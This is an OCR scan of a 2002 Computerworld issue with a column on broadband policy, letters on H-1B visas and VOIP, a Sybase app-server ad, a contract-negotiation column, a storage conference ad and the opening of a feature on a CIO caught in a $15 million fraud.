deal,  why  shouldn’t  you  stay  with  a 


dial-up  service  for  $20  a  month  instead 
of  a  high-speed  service  that  costs  two 
or  three  times  that  amount?  Napster 
was  the  one  service  that  might  have 
changed  this  calculation,  but  the  music 
industry  and  the  courts  shut  it  down. 
The  impact  upon  the  demand  for  high- 
bandwidth  services  was  predictable. 

All  the  federal  government  should 
do  in  the  area  of  wired  infrastructure  is 
clarify  whether  open  access  to  local 
telephone  and  cable  TV-based  systems 
will  be  mandatory.  (I  say  no.)  There’s 
no  need  for  any  special  funding,  ac¬ 
counting  changes  or  tax  credits,  let 
alone  a  national  technology  vision.  If 
anything,  there  has  already  been  too 
much  vision  and  too  little  sales.  Intoxi¬ 
cated  telecommunications  companies 
poured  billions  into  excessive  back¬ 
bone  capacity  and  grossly  overbid  for 
wireless  spectrum,  resulting  in  wide¬ 
spread  bankruptcies.  The  CSPP  would 
be  wise  to  let  the  telecommunications 
industry  sort  itself  out  and  perhaps 
aim  its  lobbying  efforts  at  the  music  in¬ 
dustry  and  other  sources  of  potential 
new  consumer  demand.  I 


DAVID  MOSCHELLA  iS 

an  author  and  inde¬ 
pendent  consultant. 
Contact  him  at 
dmoschella@eaithlink.net. 
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The  Pain  of  H-1B  Policy 

My  advice  to  “Back 
to  School”  is  to  run 
away  from  this  field 
[Career  Adviser,  Jan.  7].  I 
have  current  skills,  a  mas¬ 
ter’s  degree  in  computer  sci¬ 
ence  and  15  years  of  experi¬ 
ence,  and  I  can’t  find  a  job  in 
the  Atlanta  market.  There 
are,  however,  many  H-lBs 
employed  in  this  market. 

The  government  has  shown 
that  even  when  corporations 
are  hiring  only  2%  of  inter¬ 
view  candidates,  they  can 
still  claim  a  labor  shortage 
and  get  away  with  it.  Then, 
through  legislation,  cheap 
foreign  workers  are  brought 
in  to  replace  Americans. 
Basil  Stieffen 
Software  developer 
Atlanta 

For  the  first  time  in 
almost  20  years,  I  am 
having  great  difficulty 
finding  work.  My  situation  is 
affected  by  something  even 
more  ominous  than  the  re¬ 
cession.  In  the  past  few 
years,  my  government  has 
seen  fit  to  allow  over  300,000 


citizens  of  other  countries 
into  the  U.S.  to  perform  my 
job  at  a  far  lower  rate  of  pay 
than  I  would  receive. 

Yes,  I  am  a  computer  pro¬ 
grammer.  Without  a  college 
degree,  I  was  able  to  develop 
my  expertise  to  the  point 
where  I  commanded  a  fee 
greater  than  someone  with 
an  advanced  degree.  But  a 
few  years  ago,  the  corpora¬ 
tions  for  which  I  worked 
convinced  my  government 
that  there  weren’t  enough 
programmers,  though  they 
actually  were  just  tired  of 
paying  programmers  high 
rates.  Why  has  my  govern¬ 
ment  forsaken  me?  The  an¬ 
swer  is  clear.  Programmers 
have  no  organization  to  look 
out  for  their  interests  and 
pump  funds  into  the  pockets 
of  elected  officials. 

Gregory  R.  Farrington 
Hamburg.  N.J. 


Pushing  Web  Endeavors 

HE  CONSENSUS 
around  my  IT  shop  is 
that  the  reason  Kmart 
and  Wal-Mart  aren’t  doing 
well  with  their  Internet  en¬ 


deavors  is  a  lack  of  general 
knowledge  that  they  exist  on 
the  Web  [“IT  Difficulties 
Help  Take  Kmart  Down,” 
Page  One,  Jan.  28].  Their 
dot-coms  aren’t  advertised 
enough,  their  linkage  from 
other  sites  is  minimal  at 
best,  and  both  do  a  poor  job 
of  promoting  their  Web  sites 
at  their  brick  and  mortars. 
Tom  C.  Tourand 
CIO 

City  of  Macon.  Ga. 


VOIP  Wins  a  Convert 

WE’VE  BEEN  miming 
VOIP  on  an  Avaya 
Definity  for  over 
six  months  and  are  extreme¬ 
ly  pleased  with  it  [“The 
VOIP  Vanguard,”  News 
Opinion,  Jan.  28].  We  had  a 
simple  implementation:  We 
replaced  a  Mitel  with  the  De¬ 
finity  in  less  than  two  weeks, 
with  only  one  evening  of  de¬ 
ploying  phones.  We  turned  it 
up  on  a  Monday  night  and 
were  mnning  clean  Tuesday 
morning.  Our  only  quality  is¬ 
sue  was  an  incorrect  duplex 
setting  on  an  Ethernet  switch 
causing  excessive  retrans¬ 


missions.  We’re  now  testing 
Avaya’s  soft  phones  via  dial¬ 
up  and  VPN  and  hard 
phones  at  other  sites  using 
the  VPN.  The  tests  have 
gone  extremely  well.  And 
VOIP  is  great  from  an  ad¬ 
ministration  standpoint; 
moves  have  never  been  easi¬ 
er.  Both  voice  quality  and 
the  system  are  solid  and  reli¬ 
able.  Overall,  we  love  it.  I’d 
never  consider  switching 
back  to  copper  lines. 

Ed  Watson 
Director 
NCP  Solutions 
Birmingham.  Ala. 

COMPUTERWORLD  welcomes 
comments  from  its  readers.  Letters 
will  be  edited  for  brevity  and  clarity. 
They  should  be  addressed  to  Jamie 
Eckle.  letters  editor.  Computerworld. 
PO  Box  9171. 500  Old  Connecticut 
Path.  Framingham.  Mass.  01701. 

Fax:  (508)  879-4843.  Internet: 
letters@computerworld.com.  Include 
an  address  and  phone  number  for 
immediate  verification. 
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THE  STRAIGHT  GOODS  ON  APPLICATION  SERVERS. 
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"AN  APP  SERVER  IS  ALL 
YOUR  e-BUSINESS  NEEDS." 

Pure  delusion.  True,  an  app  server 
can  be  thought  of  as  the  integration 
engine  driving  your  e-Business. 

But,  it's  still  just  one  component  of  your 
e-Business.  And  just  one.  Let's  not  forget 
the  development  tools,  the  adapters, 
DBMS  solutions,  wireless  servers  and  a 
host  of  other  components.  And  here's 
the  crunch:  the  ability 
to  integrate  them. 

Anything  less  simply 
won't  carry  you  into 
the  future.  Sybase 
provides  all  these 
components.  Of  course, 

EAServer  runs  as  the 
integration  engine 
unifying  these 
components  into 
your  company's 
infrastructure. 

"WE’RE  MORE 
J2EE  THAN  THE 
OTHER  GUYS." 

We  hear  this  one  a 
lot.  We  assure  you  it 
is  complete  nonsense. 

You're  J2EE  compatible 
or  you're  not.  It's  not  a 
sliding  scale.  It's  simply 
either/or.  Yes  or  no.  It's 
an  utterly  and  totally 
binary  situation. 

For  the  record,  EAServer 
is  J2EE  compatible.  In 
fact,  we  were  among 
the  very  first  application 
servers  to  be  certified. 

We  also  support  C  and 

C++,  COM,  CORBA,  and 

of  course,  our  own  PowerBuilder. 

You  won't  find  more  comprehensive 
support  for  the  leading  technologies 
and  applications  most  prevalent  in 
e-Business  today. 

“CLUSTERING  WORKS  BUT  ONLY 
IN  ONE  PLACE  AT  A  TIME." 

Any  true  24x7  e-Business  depends 
upon  availability.  And  the  most  certain 
way  to  ensure  availability  is  with 
clustering.  Now,  some  say  you  can  only 
effectively  cluster  in  one  place  at  a 


time.  Smart  thinking  until  an  unexpected 
power  outage  brings  down  your  call 
center's  data  systems.  Others  say  you 
can  cluster,  but  only  one  operating 
system  at  a  time.  Which  means  you  can 
never  throw  an  NT  box  into  a  Unix 
cluster  or  vice  versa.  We  beg  to  differ 
on  both  counts.  EAServer  lets  you  cluster 
any  way  your  e-Business  demands. 
Even  if  that  involves  the  clustering  of 
two  different  operating  systems  in  two 
different  geographical  locations. 


"IT’S  OUR  WAY 
OR  THE  HIGHWAY." 

This  is  usually  couched  in  somewhat 
softer  terms.  Something  like  this: 
"Let's  start  fresh.  Get  rid 
of  everything  you've  got. 

Make  the  switchover 
to  our  stuff.  And 
welcome  to  the 
New  World." 

What  this  always 
translates  into  is  one 
great,  ugly  and  brutish 
migration  nightmare. 


SYBASE  e-BUSINESS  SOFTWARE. 
BECAUSE  EVERYTHING  WORKS  BETTER  WHEN 


Avoiding  the  horror  of  this  is  one  of 
the  very  best  arguments  in  favor  of 
Sybase  EAServer. 

Not  only  do  we  guarantee  that  we 
will  make  all  of  your  systems  work 
together,  we'll  show  you  how  you  can 
migrate  to  your  new  technologies 
without  disrupting  your  current 
information  systems.  Or  your  business. 
Absolutely  no  pain.  Lots  of  gain. 

"OUR  BENCHMARKS 
MIRROR  YOUR 
REALITY." 

What  happens  in  a 
carefully  set-up  study  to 
prove  a  marketing  claim 
is  the  marketing  claim 
gets  proven.  It's  not 
rocket  science. 

We  do  benchmarks,  too. 
We  just  got  some  back 
that  say  our  application 
server  is  faster  than  the 
best-selling  app  server 
in  the  business-to- 
consumer  market.  Surely, 
real-world  performance 
measurements,  not 
contrived  marketing 
benchmarks,  are  more 
important  to  running 
your  real-world 
business.  Let's  talk. 

GET  THE 
WHOLE  TRUTH. 
OR  AT  LEAST 
OUR  SIDE  OF 
THE  STORY. 

We  believe  EAServer 
deserves  your  full 
consideration.  We 
won't  stretch  or  distort  facts  to 
convince  you  of  our  viewpoint.  But 
we  would  like  to  give  you  all  the 
arguments  in  favor  of  our  case. 

Visit  www.sybase.com/truth.  Or  you 
can  call  1 -800-8-SYBASE.  And  thanks 
for  letting  us  clear  the  air. 


i  Sybase 

Information  Anywhere" 


EVERYTHING  WORKS  TOGETHER!" 


62002  Sybase,  Inc.  All  rights  reserved.  All  trademarks  are  the  property  of  their  respective  owners. 
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CIO  IN  SCANDAL 

The  former  CIO  at  a  mid-Atlantic 
IT  services  firm  shares  his  tale 
about  getting  ensnared  in  a  $15 
million  accounting  fraud  scheme 
and  the  tough  lessons  that  he  has 
learned.  PAGE  24 


BLADE  BENEFITS 

Blade  servers  cost  less  than  tradi¬ 
tional  boxes,  eat  up  less  data  center 
space  and  consume  less  electricity 
—  but  there  are  caveats  to  achiev¬ 
ing  their  full  ROI  potential.  PAGE  26 


LAYOFF  LESSONS 

IT  workers  who  have  recently  been 
downsized  or  are  in  threat  of  being 
displaced  could  pick  up  some  valu¬ 
able  insights  from  peers  who  have 
been  there  before.  PAGE  28 


CRM  PARADOX 

More  than  half 
of  all  customer 
relationship 
management 
projects  fail,  and 
many  others  end 
up  damaging  re¬ 
lationships  with 
clients.  But  there 
are  some  simple 
steps  managers 
can  take  to  make 
these  efforts  suc¬ 
ceed,  claims  Bain 
&  Co.  director  Darrell  K.  Rigby, 
who  wrote  an  article  about  the  sub¬ 
ject  in  this  month’s  Harvard  Busi¬ 
ness  Review.  PAGE  30 


RIGBY  says  when 
it  comes  to  CRM, 

“a  lot  of  executives 
don’t  understand 
what  they’re  imple¬ 
menting.” 


BIG  AUDIO  DYNAMITE 

Steve  Devine,  business  adminis¬ 
trator  for  corporate  information 
systems  at  Bose  Corp.,  says  the 
audio  systems  maker  is  pretty  in¬ 
novative  place  to  work.  Just  don’t 
ask  him  about  e-mail.  PAGE  32 


JOE  AUER/DRIVING  THE  DEAL 

A  Form  for  Fairness 

IT’S  A  GOOD  IDEA  TO  HAVE  A  USER  FORM  CONTRACT.  It’s  hard  to 
understand  why  many  companies  continue  using  vendor  contracts 
that  are  masterpieces  when  it  comes  to  allocating  all  the  risk  to 
customers.  Most  vendors  don’t  even  accept  the  risk  of  their  own 
nonperformance  in  their  contracts. 

A  user  form  contract  can  outline  the  terms  and  conditions  under  which 
the  customer  is  willing  to  acquire  certain  equipment,  software  or  services. 


The  most  significant  difference  between  a  user  con¬ 
tract  and  a  vendor  contract  is  that  a  user  contract  can 
optimize  the  customer’s  position  or  establish  fair  and 
equitable  terms  that  protect  both  parties’  interests. 
(Try  finding  fairness  in  a  standard  vendor  contract.) 

A  user  form  contract,  properly  prepared  and  imple¬ 
mented,  offers  you  significant  benefits.  Both  parties’ 
rights  and  obligations  for  a  specific  type  of  deal  can 
be  documented  thoughtfully  before  you  sit  down  to 
negotiate  with  a  vendor.  Busy  procurement  profes¬ 
sionals  wouldn’t  be  required  to  react  to  an  endless 
barrage  of  vendor  form  contracts  —  each  with  its 
own  “catch  me  if  you  can”  tricks,  such  as  automatic 
renewals  and  disclaimers  on  everything  you’ve  been 
told. 

In  addition,  your  company’s  attorneys  can  work 
with  negotiating  teams  to  prepare,  review  and  peri¬ 
odically  revise  the  form  agreement  without  the  sense 
of  urgency  of  a  pending  transaction.  Senior  manage¬ 
ment  and  representatives  from  other  areas  of  the 
company  can  do  a  comprehensive  review  of  the 
agreement  more  prudently  and  systematically. 

Preparation  of  a  complete  set  of  eight  to 
10  deal-specific  form  contracts  generally 
requires  a  considerable  commitment,  but  it 
will  more  than  pay  for  itself.  The  contracts 
prevent  the  need  to  custom-draft  an  agree¬ 
ment  for  each  deal.  If  the  form  contract 
must  be  tailored  to  match  a  particular 
transaction,  your  lawyers  can  implement 
the  necessary  changes  with  less  effort  than 
if  they  started  from  scratch.  What’s  more, 
since  you  already  accept  your  forms  100%, 
your  review  and  tailoring  time  for  a  ven¬ 
dor’s  proposed  changes  during  negotia¬ 
tions  will  be  drastically  reduced,  compared 
with  dealing  with  an  almost  100%  unac¬ 
ceptable  vendor  contract. 

To  press  your  case  for  using  your  own 
form  contract,  include  it  in  your  requests 
for  proposals.  That  makes  the  vendor’s 
willingness  to  accept  or  reject  each  provi¬ 


sion  part  of  your  evaluation  of  the  vendor.  Even  if  the 
vendor  doesn’t  fully  accept  your  form,  negotiations 
can  still  begin  at  the  time  when  you  have  the  most 
customer  leverage  —  before  vendor  selection. 

For  the  customer  with  a  solid  form  agreement  pro¬ 
gram,  the  risk  that  an  overeager  manager  will  execute 
a  vendor  form  contract  is  substantially  reduced.  User 
representatives  will  soon  recognize  that  the  standard 
user  form  allows  them  to  proceed  more  rapidly  with 
the  procurement  process.  Meanwhile,  most  vendor 
sales  reps  will  learn  that  they  can  close  a  sale  quicker 
using  a  standard  user  form  rather  than  their  own. 

You  may  prefer  the  wording  of  your  own  agree¬ 
ment.  But,  even  if  you  must  negotiate  away  some 
concessions  to  the  vendor  to  make  the  agreement 
acceptable,  you  normally  receive  more  protection 
by  starting  with  the  user’s  form  agreement  and  then 
including  appropriate  changes. 

A  user  form  agreement  can  also  give  your  negotiat¬ 
ing  team  an  opportunity  to  use  that  popular  vendor 
ploy:  “I’ll  have  to  get  any  changes  approved  by  cor¬ 
porate.”  And  the  vendor  is  encouraged  to  disclose  its 
entire  shopping  list  of  changes  early  in  the 
negotiations,  when  your  spokesman  says, 

“I  can’t  go  to  headquarters  too  many  times; 
let’s  make  sure  we  have  all  your  demands 
—  before  I  stick  my  neck  out.” 

An  added  benefit  is  that  placing  the  ven¬ 
dor  in  the  position  of  proposing  changes  to 
the  user’s  form  agreement  forces  its  rep  to 
continually  justify  its  negotiating  position. 

It’s  also  fun  to  turn  some  favorite  vendor 
wording  around  and  say,  “It’s  our  standard 
form  contract.  It’s  fair.  You  can  trust  us;  all 
our  vendors  sign  it!” 

There’s  no  doubt  that  it’s  well  worth 
the  time  and  effort  for  your  organization 
to  have  its  own  set  of  form  contracts. 
You’ll  protect  your  rights,  maximize  your 
remedies  and  get  needed  flexibility.  Ulti¬ 
mately,  you’ll  save  lots  of  time,  money 
and  risk.  I 


JOE  AUER  is  president  of 
International  Computer 
Negotiations  Inc.  {www. 

dobetterdeals.com). 
a  Winter  Park.  Fla.,  con¬ 
sultancy  that  educates 
users  on  high-tech  pro¬ 
curement.  ICN  sponsors 
CAUCUS:  The  Associa¬ 
tion  of  High  Tech  Acqui¬ 
sition  Professionals. 

Contact  him  at 
|oea@dobetterdeals.com. 
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A  CIO  got  swept  up  in  a  $15  million  fraud 
and  did  penance.  Now  he  shares  some 
hard-learned  lessons.  By  Kim  S.  Nash 
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EDITOR’S  NOTE 

The  CIO  in  this  article  is  a  high-profile 
figure  in  his  community  who  volunteers 
for  various  nonprofit  and  children’s 
welfare  groups.  In  March  2000,  he  was 
implicated  in  a  $15  million  corporate 
fraud.  He’s  performing  a  sentence  of 
250  hours  of  community  service  and  he 
speaks  to  business  groups  about  how 
to  protect  against  white-collar  crime. 

To  honor  his  wish  to  remain 
anonymous  in  print,  and  to  bring 
readers  the  benefit  of  this  man's  hard- 
learned  lessons,  we  chose  to  omit  his 
name  and  that  of  his  former  company 
from  this  feature. 


IT  WAS  A  THURSDAY  EVENING  in 
March  1999  when  the  chief  fi¬ 
nancial  officer  of  a  mid-Atlantic 
IT  services  firm  marched  into 
his  CIO’s  office.  A  strikingly 
high  bill  from  a  supplier  required  an 
explanation. 

“That’s  impossible,”  the  CIO  said. 
“This  is  a  cash-and-carry  account.”  No 
bills  should  have  come  in  at  all,  never 
mind  multiple  transactions,  each  for 
tens  of  thousands  of  dollars. 

The  nightmare  had  begun. 

The  next  morning,  the  CIO  sat 
shoulder-to-shoulder  with  an  outside 
consultant  who  ran  reports  from  the 
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•  The  original,  largest  and  proven  forum  for  IT  users  involved  in  storage 
networking,  enterprise  infrastructure  and  data  management 

•  The  world’s  largest  gathering  of  the  storage  networking  industry  with 
IT  user  case  studies,  industry  executives  and  Industry  analysts 

•  The  world’s  largest  Interoperability  Lab  with  50+  companies  working 
together  and  the  interop  themes  integrated  with  the  conference  content! 

•  A  jam-packed  program  of  education,  live  demonstrations,  expo,  networking 
that  is  second  to  none 


•  A  full  conference  package  including  primer,  tutorials,  general  sessions, 
interop  lab,  expo,  meals,  receptions,  gala  events  and  golf  for  IT  users 
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For  more  information  and  to  register,  visit 

www.storagenetworkingworld.com  or  call  i-800-883-9090 


The  Proven  Event 
for  Storage  Users! 

The  proliferation  of  customer  data  and  e-commerce  have  brought  Storage  Networking 
solutions  to  the  forefront  of  today's  IT  agenda.  That's  why  CIOs,  corporate  executives,  IT 
managers,  enterprise  storage  and  data  management  professionals  and  other  key  IT 

staff  from  the  U.S.  and  abroad  will  join  solution  providers  and 
industry  experts  at  the  hottest  storage  event:  Storage 
Networking  World,  April  2-5,  2002,  at  the  Marriott  Desert 
Springs  in  Palm  Desert,  California. 

Join  us  if  you  want  the  answers  to  What,  Why  and  How  to 
implement  Storage  Networking  technology  to  solve  your  IT 
storage,  application  and  infrastructure  needs  TODAY!  There 
are  no  other  conferences  that  offer  you  as  comprehensive  and  focused  an  industry 
educational  and  networking  forum,  with  high-profile  user  case  studies. 


BENEFITS  OF  ATTENDING: 


NEW! 


More  senior  user,  vendor  and 
industry  analyst  speakers  and 
attendees  than  any  other  event! 

More  IT  User  Case  Studies 
and  Panels  in  the  Program! 

World  renowned 
Interoperability  Lab! 

Networking  Receptions  for  IT  Users! 

Practical  "Tips  &  Tools” 

Workshops  from  Users  and 
Industry  Experts! 


NEW! 


Choose  from  Multiple-track 
Workshop-style  Tutorials  on 
Pre-Conference  Day,  April  2nd! 


NEWr 


CTO  Insights  Executive  Panel!  NEW! 


Be  part  of  the  SNW  experience, 
with  4  events  in  3  countries! 


J 


WORKSHOPS  &  LABS  M  SESSION  HIGHLIGHTS 


w  ^ 


Interoperability  Lab 

SNW  is  presenting  the  Interoperability  Lab,  the  world’s  largest 
storage  networking  interoperability  extravaganza.  The  lab, 
organized  by  more  than  50  SNIA  member  companies,  will  show¬ 
case  storage  networking  configurations  that  address  end  users' 
storage  concerns.  To  reinforce  the  concepts  being  taught  in  the 
SNW  tutorials,  the  lab  will  demonstrate  solutions  for  backup 
and  recovery,  storage  networking  infrastructure  design,  storage 
virtualization,  and  management  of  storage  networks.  Those 
attending  will  be  able  to  tour  the  lab  and  discuss  with  engineers 
the  technical  design  of  the  configurations  and  the  business 
problems  that  are  being  solved. 


Practical  Workshops  for  IT  Users 

Referenced  tips,  tools  and  techniques  are  usually  the  #1  discus¬ 
sion  point  of  IT  users  when  they  network  at  events.  To  complement 
this  need,  SNW  has  established  a  multiple  track  set  of  "Practical 
Workshops"  on  Day  2  of  the  general  sessions  with  both  IT  users 
and  vendor  CTOs  leading  the  discussions. 

Primer:  Considerations  for 
Building  an  Internal  Storage 
Utility  Infrastructure 

This  session  will  focus  on  how  many  recent  and  upcoming 
advancements  in  storage  management,  such  as  policy-based 
management,  application  awareness,  and  security  will  finally 
begin  to  enable  the  utility  concept  for  storage  infrastructure. 


Featured  Speakers 

Listen  to  senior  executives  from  the  user  and  vendor  communities 
in  corporate  America's  top  brand  name  companies.  No  conference 
focused  on  enterprise  infrastructure,  data  management  and  storage 
networking  comes  close  to  the  quality  featured  speakers  at  SNW! 


User  Case  Studies 

SNW  delivers  a  stellar  lineup  of  IT  user  case  studies  with  senior 
executive  presenters  from  Warner  Brothers,  The  Weather  Channel, 
CNN  and  Leitch,  Burlington  Coat  Factory,  Northern  Trust  Company, 
Blue  Cross/Blue  Shield,  Bank  of  Montreal  and  more...  You  asked 
for  more  IT  users...  SNW  delivers! 


CTO  Insights  Executive  Panel 

Delegates  to  past  SNW  events  asked  for  more  CTOs,  the  technolo¬ 
gy  vision  and  the  practical  insights  into  how  to  implement  them... 
SNW  has  done  it!  See  a  high-profile  CTO-only  panel  representing 
the  top  thought-leaders  in  the  industry. 


ROI  Insights  Executive  Panel 

In  these  days  of  flat  or  declining  technology  budgets,  business  and 
IT  executives  alike  rank  quickly  achieving  a  positive  return  on  their 
information  technology  investments  as  one  of  their  top  three  priori¬ 
ties  —  and  challenges  —  in  2002.  To  keep  costs  down  and  to  ensure 
maximum  payback  quickly,  some  companies  have  pushed  technol¬ 
ogy  purchasing  decisions  to  the  highest  levels  of  the  organization. 
Others  are  sub-dividing  large  projects  into  smaller  ones  that  must 
de.monstrate  a  positive  ROI  before  moving  to  the  next  phase. 
Panelists  will  discuss  what  has  and  hasn’t  worked  as  they  strive  to 
demonstrate  the  bottomline  payback  of  technology  investments. 


"Storage  Networking  World  is  a  unique  conference 
that  blends  representatives  from  both  the  user  and 
vendor  communities  in  a  single  forum.  For  users,  this 
is  an  opportunity  to  gather  and  discuss  long-term 
strategies,  current  issues  and  hot  topics,  as  well  as 
every-day  problems  and  concerns.  This  type  of  interac¬ 
tion  is  invaluable  for  the  end  user." 


-  Gary  Fox 

Senior  VP  and  Director  of  Enterprise  Data  Storage 
First  Union  Bank 


"Attending  Storage  Networking  World  is  a  big  plus 
for  me  in  terms  of  seeing  which  products  are  out 
there  and  managing  my  vendor  relationships.  You 
get  to  talk  to  the  top  people  in  the  industry  and 
discuss  storage  solutions  based  on  your  company's 
specific  needs. " 


-  Kurt  Bahrs 

Disaster  Recovery  Coordinator 
Aetna 


For  more  information  and  to  register,  visit 

www.storagenetworkingworld.com  or  call  i-800-883-9090 


USER  CASE  STUDIES 


ANTHONY 

LLOYD 

Vice  President 
Computer 
Operations 
Warner  Brothers 


VICKI  HAMILTON 

Vice  President 
Shared  Services 
&  IT  Operations 
The  Weather 
Channel 


MIKE  PRINCE 

CIO 

Burlington  Coat 
Factory 


BOB  VENABLE 

Enterprise 
Systems 
Manager 
BlueCross 
BtueShield  of 
Tennessee 


DENISE  CLARK 

CTO 

Mattel 


TODD  ROTH 

CTO 

Leitch 


KARL  HUF 

Vice  President 
Northern  Trust 
Company 


PLUS:  Executive  User  Case  Studies  from: 

•  WRQ  •  Hannaford  Brothers  •  Bank  of  Montreal 
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FEATURED  SPEAKERS 


I  UNDA 
I  SANFORD 

j  Senior  Vice 
i  President  and 
Group  Executive 
Storage  Systems 
Group 
IBM 


BOB  MUGLIA 

Senior  Vice 
President  of 
Enterprise 
Storage  Group 
Microsoft 


NORA  DENZEL 

Vice  President 
and  General 
Manager 
Network  Storage 
Solutions 
Hewlett-Packard 


JAMES 

ROTHNIE 

Senior 

Vice  President 
and  CTO 
EMC 


PAULBORRILL  BOB 

Vice  President  BEAUCHAMP 
and  CTO  President  &  CEO 

VERITAS  BMC  Software 
Software 


INDUSTRY  ANALYSTS 


urn 

JULIA  KING  JON  WILLIAM  JOHN 
National  TOIGO  MCARTHUR 

Correspondent  Independent  Vice  President 
Computerworld  Consultant  Worldwide 
and  Author  Storage 

Research 
IDC 


STEVE  MARC  FARLEY  DIANNE 
DUPLESSIE  President  MCADAM 

Founder  and  Building  Senior  Analyst 
Senior  Analyst  Storage  llluminata 

Enterprise 
Storage  Group 


CTO  INSIGHTS  EXECUTIVE  PANEL 


KEVIN 

RANDY 

PAUL 

STEVE 

ROB 

DALY 

CHALFANT 

RUTHERFORD 

SICOLA 

SIMS 

CTO 

Director/CTO 

VP/CTO 

Director/CTO 

VP/CTO 

Quantum 

StorageTek 

ADIC 

Compaq 

Crossroads 

CONFERENCE  PROGRAM 


Tuesday,  April  2nd 

10:00am  -  12:00pm 

Storage  Networking  World  Primer 

with  Steve  Duplessie 

1 :00  -  6:00pm 

Tutorial  Tracks 

Topics  include:  Storage  for  LAN  Managers; 
Backup/Restore:  Storage  Management; 

Networks  for  SAN  Managers;  Storage 
Virtualization;  Security;  IP  Storage;  Infrastructure 
Design;  Disaster  Recovery;  User  Experiences 

1:00  -  6:00pm 

Golf  Outing 

7:00  -  9:00pm 

Pre-Conference  Networking  Reception 

Wednesday,  April  3rd 

7:30  -  8:30am 

Buffet  Breakfast 

8:30am  -  12;00pm 

Keynote/General  Sessions 

12:00  -  1:00pm 

Lunch 

1 :00  -  5:00pm 

Keynote/General  Sessions 

5:00  -  8:00pm 

Cocktails,  Expo,  interoperability  Lab, 

Buffet  Dinner 


Thursday,  April  4th 

7:30  -  8:30am 

Buffet  Breakfast 

8:30am  -  12:00pm 

Keynote/General  Sessions 

12:00  -  1:30pm 

Lunch  and  Expo 

12:00  -  7:30pm 

Interoperability  Lab 

1:30  -  3:30pm 

Keynote/General  Sessions 

3:30  -  5:30pm 

Practical  Workshops  |6) 

Topics  include:  ROI/TCO;  Management; 
Deployment 

5:30  -  7:30pm 

Expo 

6:30  -  7:30pm 

Cocktails  on  the  Expo  Floor 

7:30  -  9:00pm 

Gala  Dinner  and  Entertainment 


Friday,  April  5th 

7:30  -  8:30am 

Buffet  Breakfast 

8:30  -  11:45am 

Tutorials/Practical  Workshops  (cont.) 

Topics  include:  ROI/TCO;  Management; 
Deployment 

11;45am 

Conference  Concludes 


For  more  information  and  to  register,  visit 

www.storagenetworkingworld.com  or  call  i-800-883-9090 


HOTEL  RESERVATIONS 


IDG  Travel  is  the  official  travel  company  for 
Storage  Networking  World.  They  are  your  one- 
stop  shop  for  exclusive  discounted  rates  on 
hotel  accommodations. 

To  reserve  a  hotel  room,  please  visit 

www.storagenetworkingworld.com 

and  check  the  Housing  page,  or  visit 

www.etcentral.com 

You  can  also  call  our  Conference  Housing  line 

at  1-800-340-2262 


PRE-CONFERENCE  GOLF  OUTING 


Complimentary  Golf  Outing  for 
Registered  IT  Users 

The  Pre-Conference  Golf  Outing, 
sponsored  by  StorageTek,  at  the  prestigious 
Marriott  Desert  Springs  Palm  Course  is 
complimentary  ($165  value)  for  registered  IT 
Users  (other  participants,  including  sponsors  and 
vendors  may  play  on  "as  available"  basis  and  are 
responsible  for  all  applicable  golf  outing  expenses). 

Call  1-800-883-9090  for  Details! 


Sponsored  by 

StoraceTek 


CONFERENCE  REGISTRATION 


Registration  Options: 

1  Earlybird  Registration 

1  Full/On-Site  Registration 

Package  Includes: 

Att  Dollar  Amounts  in  US  Funds 

I  (through  February  22ndl 

i  (or,  after  February  22nd) 

Conference 

Sessions 

Expo,  Meals 
&  Receptions 

Technical 

Tutorials 

General  Conference  (April  3  &  4): 
(Includes  Expo,  Meals  and  Receptions) 

All  Attendees 

$1,095 

$1,245 

Yes 

Yes 

No 

Additional  Options: 

Technical  Tutorials/Workshops  (April  2  &  5) 

$395  Additional 

$445  Additional 

No 

Apr.  2  &  5 

Yes 

Total  4-day  Package 

$1,490 

$1,690 

Yes 

Yes 

Yes 

(General  Conference  &  Technical  Tutorials/Workshops] 

Expo,  Meals  &  Receptions  Only  Package 

$450 

$495 

No 

Yes 

No 

■  .  .  -  -  asiaKssiaasaai . .  ' 

"The  future  of  storage  is  networking,  anrfihe  future  of 
networking  is  storage.  Storage  Networking  World,  co¬ 
produced  by  Computerworld  and  the  Storage  Networking 
Industry  Association  (SNIA),  helps  wndors  cooperate 
and  agree  on  standardization  efforts^  playing  a  signifi¬ 
cant  wk  in  the  evolution  of  this  markBtpldc&  This  is 
the  only  event  of  its  kind  in  which  vendors  can  share 
their  visions  and  customers  can  share  there  problems,  providing  an  ideal 
opportunity  for  industry  leaders  and  users  to  work  together. " 

-  Nora  Denzel 

Vice  President  and  General  Manager,  Network  Storage 
Solutions  Organization  (NSSO) 

Hewlett-Packard 


"The  evolution  of  storage  technology  is  proceeding  at 
a  rapid  pace  arnidst  an  increasingfy  complex  and 
demanding  business  environment,  making  attendance 
of  events  like  Storage  Networking  World  critical  to  stay¬ 
ing  abreast  of  the  latest  developments.  From  a  user's 
perspective,  a  regularly  occurring  event  such  as  this  is 
invaluable  for  providing  me  the  opportunity  to  learn 
abam  the  state  of  the  industry  in  an  atmosphere  conducive  to  meaning¬ 
ful  peer  and  vendor  interaction.  This  event  extends  beyond  product  mar¬ 
keting  to  really  address  the  critical  user  issues  the  industry  is  facing. " 


-  Brian  Cobb 

^  Director  of  Systems  Engineering 
Fannie  Mae 


To  Register  Visit  www.storagenetworkingworld.com  or  Call  1-800-883-9090 
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BUSINESSMANAGING 


Protect 

Ourself 


Advice  from  a  CIO  who  has  been  there 
on  how  to  guard  against  white-collar  crime: 

“We  have  a  CFO  who  is  a  wonderful  guy.  However.  1  open  every  bank 
statement  that  comes  into  this  building.”  he  says.  "It’s  not  a  personal 
affront.  It’s  good  business  practice." 


Other  tips: 

m  Ensure  that  even  at  companies  that  have  suffered  large  layoffs,  where 
remaining  workers  now  wear  many  hats,  the  person  who  administers 
software  security  rights  has  nothing  to  do  with  the  accounting  function. 

■  Trust,  but  verify.  Read  all  documents  that  require  your  signature. 

■  Use  effective  checks  and  balances.  For  example,  have  monthly  bank 
statements  sent  to  the  CEO’s  house,  not  to  the  finance  department 
at  work. 

■  Get  all  subsidiaries  on  the  same  accounting  software  and  adhere  to  the 
same  reporting  procedures. 

■  Validate  the  stories  employees  tell  to  explain  suspicious  incidents, 
such  as  a  series  of  bookkeeping  errors. 


I  accounting  system.  Anomalies  were 
everywhere.  Bank  statements  didn’t 
i|  match  check  registers.  Incorrect  rev- 
i  enues  were  booked  for  subsidiaries. 

!  There  were  open  ledgers  that  should 
j  have  been  closed  for  companies  that 
I  had  already  been  absorbed. 

As  company  officials  dug  deeper, 

.  they  unearthed  a  $15  million  embezzle- 

